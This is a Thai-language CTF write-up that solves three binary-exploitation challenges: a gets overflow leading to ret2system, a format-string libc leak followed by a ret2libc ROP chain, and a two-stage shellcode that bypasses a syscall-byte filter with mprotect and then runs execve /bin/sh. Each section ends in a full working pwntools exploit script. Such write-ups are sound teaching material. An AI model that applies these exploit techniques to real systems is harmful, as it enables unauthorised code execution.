Challenges#

Som Tam debug mode#

ลุงสมชายเปิดร้านส้มตำและเผลอทิ้งคอนโซลหลังร้านที่ยังมีโหมดดีบักเก่าอยู่ ผู้เล่นต้องใช้ช่องโหว่ในเมนูต้อนรับเพื่อยึด shell และหยิบ Flag ออกมา
สามารถเชื่อมได้ผ่าน nc ip 1337
Flag Format: WANLAI{MD5}

checksec

ใน main เราจะพบว่ามีการ call ไปที่ set_welcome_message เมื่อเลือก 2

ช่องโหว่คือ buffer overflow ใน function set_welcome_message มีการใช้ gets

และมี string /bin/sh มี symbol อยู่ชื่อ shell_path อยู่ใน rodata

เนื่องจากมี NX และ Partial RELRO เปิดอยู่ ท่าที่เหมาะๆจึงจะเป็น ret2system

โดย padding ทับ buffer ดังกล่าว 40 bytes
ต่อมาจะให้เขียนชี้ local pointer ไปที่ shell_path (เพื่อไม่ให้ program crash ใน write_audit_line ก่อนถึงคำสั่ง ret)
แล้วเรา padding 12 bytes ไปจนถึง saved RET
เขียน saved return address เป็น system@plt
ต่อด้วย fake return address สำหรับ system
ปิดท้ายด้วย shell_path (1st argument)

1
from pwn import *
2

3
exe = context.binary = ELF("vuln")
4
context.arch = "i386"
5
context.os = "linux"
6

7
p = process(exe.path)
8

9
shell = exe.symbols["shell_path"]
10
system = exe.plt["system"]
11

12
payload = flat(
13
    b"A" * 40,
14
    p32(shell),
15
    b"B" * 12,
16
    p32(system),
17
    b"C" * 4,
18
    p32(shell)
19
)
20

21
p.sendlineafter(b"> ", b"2")
22
p.sendlineafter(b"customers:\n", payload)
23
p.interactive()

TukTuk GPS#

ระบบนำทาง GPS ของแฟรนไชส์รถตุ๊กตุ๊กเมืองกรุงมีฟีเจอร์ใหม่ที่เปิดให้ผู้โดยสารเขียนรีวิวการเดินทางได้ แต่ดูเหมือนโปรแกรมเมอร์จะเผลอปล่อยช่องโหว่เอาไว้ จงขโมยข้อมูลลับที่ซ่อนในระบบนี้ให้ได้
สามารถเชื่อมได้ผ่าน nc ip 1337
Flag Format: WANLAI{MD5}

เป็น glibc 2.35 ซึ่ง… ok ผมมี linker อยู่

เข้า function leave_review

ใน function นี้มีการใช้ gets และ printf ซึ่ง line 21,25

• printf(name_buf) - format string
• gets(review_buf) - stack buffer overflow

จากเคสนี้ก็วนมา ret2libc เช่นเคย

โดยเราจะใช้ printf ในการ leak libc base address โดยการ input ผ่าน read(0,local_38,0x1f) มันจะถูกเขียนลง local_38[31] ซึ่งจะถูก output อีกทีที่ printf(local_38) ทำให้เราสามารถกำหนด format string ได้

แล้ว leak มาจากไหนล่ะ?

เราก็ทำการ break ไปยัง address ดังกล่าวเพื่อสำรวจว่าชี้ไปที่ไหนดี

เมื่อเราทำการ break ก่อน call printf เราพบว่ามี register RCX (3rd argument) ที่ดูเหมือนจะอยู่ใน space ของ libc โดยเมื่อเราทำการหาค่า offset ของมันเราจะได้ 0x7fac5bf14907 - 0x7fac5be00000 = 0x114907 เอาละ เรารู้แล้วว่า มี leak libc address นี้อยู่ที่ reg RCX ซึ่งคือ argument ตัวที่ 3 ตาม calling convention (System V AMD64 ABI) ซึ่งเราสามารถแสดงมันบน printf ได้โดยใช้ string format %3$p

เอาละเราได้ libc base แล้ว ต่อไปเราจะใช้ ret2libc กัน โดยจะใช้ gets ในการ buffer overflow แต่รอบนี้จะต่างจากข้อก่อนคือ รอบนี้เป็น ROP เพราะเราต้อง leak address ก่อน ซึ่งเราก็ต้องมาหา offset ไปที่ return address เพื่อความง่าย เราจะใช้ cyclic pattern ในการหา

1
p.sendline(cyclic(200))
2
p.wait()
3
core = p.corefile
4
crash_value = core.read(core.rsp, 8)
5
offset = cyclic_find(crash_value[:4])
6

7
log.info(f"RSP points to: {crash_value}")
8
log.info(f"Offset: {offset}")

offset 120

ต่อมาเราก็จะหา gadget กัน ซึ่งจะใช้ ret และ pop rdi ; ret และ string /bin/sh และ function system

ซึ่งที่่กล่าวมามีใน libc และเราก็รู้ libc base แล้วด้วย ดังนั้นถึงเวลาประกอบ exploit script

1
from pwn import *
2

3
context.binary = elf = ELF("./chall")
4

5
p = process(["/opt/glibc-2.35/lib/ld-linux-x86-64.so.2", "--library-path", ".", "./chall"])
6

7
p.sendlineafter(b"tuktuk> ", b"3")
8
p.sendlineafter(b"Rider name: ", b"%3$p")
9
data = p.recvuntil(b"Review: ")
10

11
leak = int(data.split(b"Sawadee krub, ")[1].split(b"!")[0], 16)
12
libc = ELF("libc.so.6")
13
libc.address = leak - 0x114907
14
rop = ROP(libc)
15

16
OFFSET = 120
17
RET = rop.find_gadget(["ret"])[0]
18
POP_RDI_RET = rop.find_gadget(["pop rdi", "ret"])[0]
19
SHELL = next(libc.search(b"/bin/sh\x00"))
20
SYSTEM = libc.sym["system"]
21

22
log.info(f"leak: {hex(leak)}")
23
log.info(f"libc base: {hex(libc.address)}")
24
log.info(f"offset: {hex(OFFSET)}")
25
log.info(f"gadget [ret]: {hex(RET)}")
26
log.info(f"gadget [pop rdi ; ret]: {hex(POP_RDI_RET)}")
27
log.info(f"shell: {hex(SHELL)}")
28
log.info(f"system: {hex(SYSTEM)}")
29

30
p.sendline(flat(
31
    b"A" * OFFSET,
32
    RET,
33
    POP_RDI_RET,
34
    SHELL,
35
    SYSTEM
36
))
37
p.interactive()

Demonbyte#

สัตว์ประหลาดตัวนี้กิน byte บางตัวไปหมด… แต่มันยังปล่อยให้เธอเขียน shellcode ได้อยู่นะ จงหา Flag ให้เจอ
สามารถเชื่อมได้ผ่าน nc ip 8888
Flag Format: WANLAI{MD5}

เจอ main function แล้วเครียดเลย เอาละมันจะยาวหน่อยแต่จะประมาณนี้

• ปิด buffer
• ก็ตั้ง alarm 30 วิ
• จอง mmap ขนาด 0x1000 4096 bytes พร้อม protection PROT_READ|PROT_WRITE และ flags MAP_PRIVATE|MAP_ANONYMOUS
• set NOP ไปที่ addr ที่จองมา ถ้ามองสั้นๆก็จะแบบ memset(addr, 0x90, 0x1000)
• เตรียม stub (รันช่วงท้ายๆของ code)

1
from pwn import *
2
context.arch = 'amd64'
3
context.os = 'linux'
4
code = p64(0x8948ff31c031050f) + p64(0x050f00000200bae6) + p16(0xe4ff)
5
print(enhex(code))
6
print(disasm(code))

1
   0:   0f 05            syscall
2
   2:   31 c0            xor    eax, eax    <-   RAX = 0 (read)
3
   4:   31 ff            xor    edi, edi    <- 1 RDI = STDIN (fd)
4
   6:   48 89 e6         mov    rsi, rsp    <- 2 RSI = RSP (buffer)
5
   9:   ba 00 02 00 00   mov    edx, 0x200  <- 3 RDX = 512 (size)
6
   e:   0f 05            syscall
7
  10:   ff e4            jmp    rsp

เรียก syscall หนึ่งครั้งก่อน ค่าจาก launch() แล้วทำการ read(STDIN, RSP, 512) ไปไว้บน stack แล้ว jmp RSP กระโดดไปรัน shellcode บน stack

• รับ input 0x80 128 bytes
• ตรวจ bad bytes 0x0f 0xcd (0f 05 = syscall, cd 80 = int 0x80) กันไม่ใช้ยิง system call
• copy input ไปไว้ใน mmap 32 รอบ รอบละ 4 bytes = 128 bytes
• เปลี่ยน permission ของ mmap ที่ขอมาเป็น PROT_READ|PROT_EXEC
• launch reset register แล้วรัน

ปกติแหละ… แต่ๆ มี mov rax rdi อยู่ มันคืออะไร? ก็คือ เอา argument ตัวแรก (args ของ launch คือ addr ของ mmap ที่จองมา) ไปเก็บไว้ใน rax ยังไงละ และไม่ได้ถูก reset ด้วยเพราะถูกใช้ในการ jump

เอาละเรามาสรุปสถานการณ์กัน ตัว program นี้จะให้เราใส่ input เป็น shellcode ที่ถูก assemble มาแล้ว โดยจะแบ่งออกเป็น 2 stage หรือครั้งแรก เราจะใส่อะไรลงไปรันก็ได้ยกเว้น byte 0x0f 0xcd เพราะเป็นส่วนประกอบสำหรับเรียกใช้ system call แต่ถ้าเราสังเกตดีๆ เราจะพบว่า หลังจากที่ shellcode ของเราใน stage 1 รันเสร็จแล้วมันจะไหล NOP ไปหา stub ที่ถูกเตรียมโดย program ไว้ในตอนต้น โดย code ส่วนนั้นจะทำการ call syscall โดยไม่กำหนดอะไรเลยก่อน เสร็จแล้วเรียกใช้ syscall สำหรับอ่าน STDIN ขนาด 512 bytes ลง stack แล้ว jump รันครั้งที่สอง (stage 2) เข้า stack

แต่เดี๋ยวก่อน binary ตัวนี้ NX enabled นะ

นั้นจึงเป็น guide ให้เราได้ทันทีว่า stage 1 เราต้องทำอะไร ถ้าไม่ใช่การปิด NX ผ่าน memory protection (allow execution)

แล้วเราจะปิดยังไง?

ผ่าน system call 0xA mprotect โดยมี args เป็น start len prot ซึ่งเราจะใช้ prot เป็น PROT_READ|PROT_WRITE|PROT_EXEC ไปที่ stack ของเราที่จะใช้ใน stage 2 shellcode ของเราจึงจะออกมาประมาณนี้

1
mov  rdi, rsp    # เก็บ RSP ไว้ RDI (stack pointer)
2
shr  rdi, 0xc    # shift RDI -> 12
3
shl  rdi, 0xc    # shift RDI <- 12 สิ่งที่ได้คือ page-aligned ซึ่ง set เป็น 0 args (start)
4
mov  rsi, 0x1000 # set 1 args เป็น 0x1000 (size)
5
mov  rdx, 0x7    # set 2 args เป็น 0x7 (prot)
6
mov  rax, 0xa    # set syscall เป็น mprotect (0xA)

แล้วเราก็ใช้ pwntool เติม NOP ให้พอดี 0x80 bytes อีกที

ต่อมาเราก็จะ craft shell สำหรับ stage 2 กัน เนื่องจากไม่มีข้อจำกัดอะไรยุ่งยากแล้วใน stage 2 เราเลยสามารถใช้ shellcraft ได้เลย

1
from pwn import *
2

3
context.arch = "amd64"
4
context.os = "linux"
5

6
p = process("./pwn")
7

8
sc1 = asm("""
9
    mov  rdi, rsp
10
    shr  rdi, 0xc
11
    shl  rdi, 0xc
12
    mov  rsi, 0x1000
13
    mov  rdx, 0x7
14
    mov  rax, 0xa
15
""")
16

17
sc1 = sc1.ljust(0x80, asm("nop"))
18
sc2 = asm(shellcraft.execve("/bin/sh", ["sh"], 0))
19

20
p.send(flat(sc1, sc2))
21
p.interactive()